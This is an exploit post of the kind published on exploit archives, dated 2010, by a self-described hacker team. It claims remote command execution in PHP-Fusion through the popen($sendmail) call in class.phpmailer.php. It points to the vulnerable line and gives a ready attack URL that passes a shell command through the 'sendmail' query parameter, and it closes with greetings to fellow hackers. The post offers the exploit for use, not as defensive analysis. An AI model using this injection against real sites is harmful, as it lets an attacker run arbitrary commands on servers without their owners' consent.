29 lines
No EOL
794 B
Text
29 lines
No EOL
794 B
Text
# Exploit Title: PHP-Fusion Remote Command Execution Vulnerability
|
|
# Date: 2010/07/19
|
|
# Author: ViRuS Qalaa
|
|
# Email: em9@live.com
|
|
# My Sites : www.pal-mafia.com & www.vbspiders.com
|
|
# Script home: http://www.phpfusion-ar.com
|
|
# download Script:
|
|
http://www.phpfusion-ar.com/downloads.php?cat_id=1&download_id=91
|
|
# Version:all
|
|
# Tested on: Windows
|
|
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
|
|
:::::::::::::::::::::::::
|
|
=================Exploit=================
|
|
|
|
-=[ vuln c0de ]=-
|
|
popen($sendmail, 'w'))
|
|
/includes/class.phpmailer.php
|
|
Line:438
|
|
|
|
----exploit----
|
|
|
|
http://{localhost}/{path}/includes/class.phpmailer.php?sendmail=id
|
|
|
|
---------greatz----------
|
|
Greatz to :
|
|
hacker arar,ViRuS KSA,Q2,Spy-iq
|
|
|
|
and My friends Others and My friends in MSN
|
|
EnJoY o_O |